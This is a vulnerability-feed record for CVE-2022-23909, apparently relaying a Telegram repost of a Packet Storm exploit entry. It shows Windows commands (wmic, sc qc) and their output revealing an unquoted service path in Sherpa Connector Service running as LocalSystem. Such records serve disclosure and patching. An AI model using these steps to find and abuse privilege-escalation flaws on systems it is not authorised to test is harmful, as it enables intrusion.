{"uuid": "fc2ba66a-fab3-4a2f-a327-31d15f7069ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23909", "type": "seen", "source": "https://t.me/hacking_Attack/48701", "content": "Exploit Collector\nSherpa Connector Service 2020.2.20328.2050 Unquoted Service Path\n\nhttps://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png \nSherpa Connector Service version 2020.2.20328.2050 suffers from an unquoted service path vulnerability.\n\nMD5 | 8d245fded6c0423ea8f5d318d08ed987\n\nDownload\n# Exploit Title:  Sherpa Connector Service (v2020.2.20328.2050) - Unquoted Service Path\n# Exploit Author: Manthan Chhabra (netsectuna), Harshit (fumenoid)\n# Version: 2020.2.20328.2050\n# Date: 02/04/2022\n# Vendor Homepage: http://gimmal.com/\n# Vulnerability Type: Unquoted Service Path\n# Tested on: Windows 10\n# CVE: CVE-2022-23909\n# Step to discover Unquoted Service Path:\nC:\\>wmic service get name,displayname,pathname,startmode | findstr /i \"sherpa\" | findstr /i \"auto\" |findstr /i /v \"c:\\windows\\\\\" |findstr /i /v \"\"\"\n\nSherpa Connector Service                                                            Sherpa Connector Service                                C:\\Program Files\\Sherpa Software\\Sherpa Connector\\SherpaConnectorService.exe                                            Auto\nC:\\>sc qc \"Sherpa Connector Service\"\n\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: Sherpa Connector Service\nTYPE               : 10  WIN32_OWN_PROCESS\nSTART_TYPE         : 2   AUTO_START\nERROR_CONTROL      : 1   NORMAL\nBINARY_PATH_NAME   : C:\\Program Files\\Sherpa Software\\Sherpa Connector\\SherpaConnectorService.exe\nLOAD_ORDER_GROUP   :\nTAG                : 0\nDISPLAY_NAME       : Sherpa Connector Service\nDEPENDENCIES       : wmiApSrv\nSERVICE_START_NAME : LocalSystem\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.257694Z"}